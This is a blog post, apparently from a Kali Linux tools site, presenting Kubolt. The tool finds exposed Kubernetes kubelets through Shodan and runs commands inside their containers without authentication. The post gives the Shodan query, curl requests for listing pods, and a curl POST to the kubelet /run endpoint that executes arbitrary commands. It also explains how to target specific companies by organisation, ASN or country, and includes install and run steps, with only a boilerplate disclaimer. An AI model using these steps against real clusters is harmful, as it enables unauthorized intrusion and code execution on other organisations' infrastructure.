Categories: Kali Linux

Kubolt : Utility For Scanning Public Kubernetes Clusters

Kubolt is simple utility for scanning public unauthinticated kubernetes clusters and run commands inside containers. Sometimes, the kubelet port 10250 is open to unauthorized access and makes it possible to run commands inside the containers using getrun function from kubelet:

// getRun handles requests to run a command inside a container.
func (s *Server) getRun(request *restful.Request, response *restful.Response) {
params := getExecRequestParams(request)
pod, ok := s.host.GetPodByName(params.podNamespace, params.podName)
if !ok {
response.WriteError(http.StatusNotFound, fmt.Errorf(“pod does not exist”))
return
}

Also Read – WAFw00f : Identify & Fingerprint Web Application Firewall (WAF) Products Protecting A Website

Okay, let’s ask our friend Shodan

The basic query is

ssl:true port:10250 404

Kubelet uses port 10250 with SSL by default, 404 is the HTTP response without URL path.

Kubolt asks Shodan by API for list of IP addresses and keeps them for other OSINT actions

Firstly, let’s ask Kubelet for running pods and filter hosts where response doesn’t contain Unauthorized and contains container so we can run command inside it.

curl -k https://IP-from-Shodan:10250/runningpods/

Anyway, if you find the host without any running pods at the time, keep it for next time when pods might be started

You can list all available pods from these requests:

curl -k https://IP-from-Shodan:10250/pods/
#or
curl http://IP-from-Shodan:10255/pods/

Next kubolt parse response and generate a new request as below:

curl -XPOST -k https://IP-from-Shodan:10250/run/<namespace>/<PodName>/<containerName> -d “cmd=<command-to-run>”

You can target companies more accurate using Shodan filters such as:

  • asn
  • org
  • country
  • net

Install

mkdir output
pip install -r requirements.txt

Run

python kubolt.py –query “asn:123123 org:’ACME Corporation'”
#or
python kubolt.py –query “org:’ACME Corporation’ country:UK”

Shodan

Kubolt uses Shodan API and Query Credits accordingly, if you run the tool without query filters then you will probably fire all your credits.

Disclaimer

The Tool provided by the author should only be used for educational purposes. The author can not be held responsible for the misuse of the Tool. The author is not responsible for any direct or indirect damage caused due to the usage of the Tool.

R K

Recent Posts

Cybersecurity – Tools And Their Function

Cybersecurity tools play a critical role in safeguarding digital assets, systems, and networks from malicious…

12 hours ago

MODeflattener – Miasm’s OLLVM Deflattener

MODeflattener is a specialized tool designed to reverse OLLVM's control flow flattening obfuscation through static…

12 hours ago

My Awesome List : Tools And Their Functions

"My Awesome List" is a curated collection of tools, libraries, and resources spanning various domains…

12 hours ago

Chrome Browser Exploitation, Part 3 : Analyzing And Exploiting CVE-2018-17463

CVE-2018-17463, a type confusion vulnerability in Chrome’s V8 JavaScript engine, allowed attackers to execute arbitrary…

12 hours ago

Chrome Browser Exploitation, Part 1 : Introduction To V8 And JavaScript Internals

The blog post "Chrome Browser Exploitation, Part 1: Introduction to V8 and JavaScript Internals" provides…

12 hours ago

Chrome Browser Exploitation, Part 3: Analyzing and Exploiting CVE-2018-17463

The exploitation of CVE-2018-17463, a type confusion vulnerability in Chrome’s V8 JavaScript engine, relies on…

15 hours ago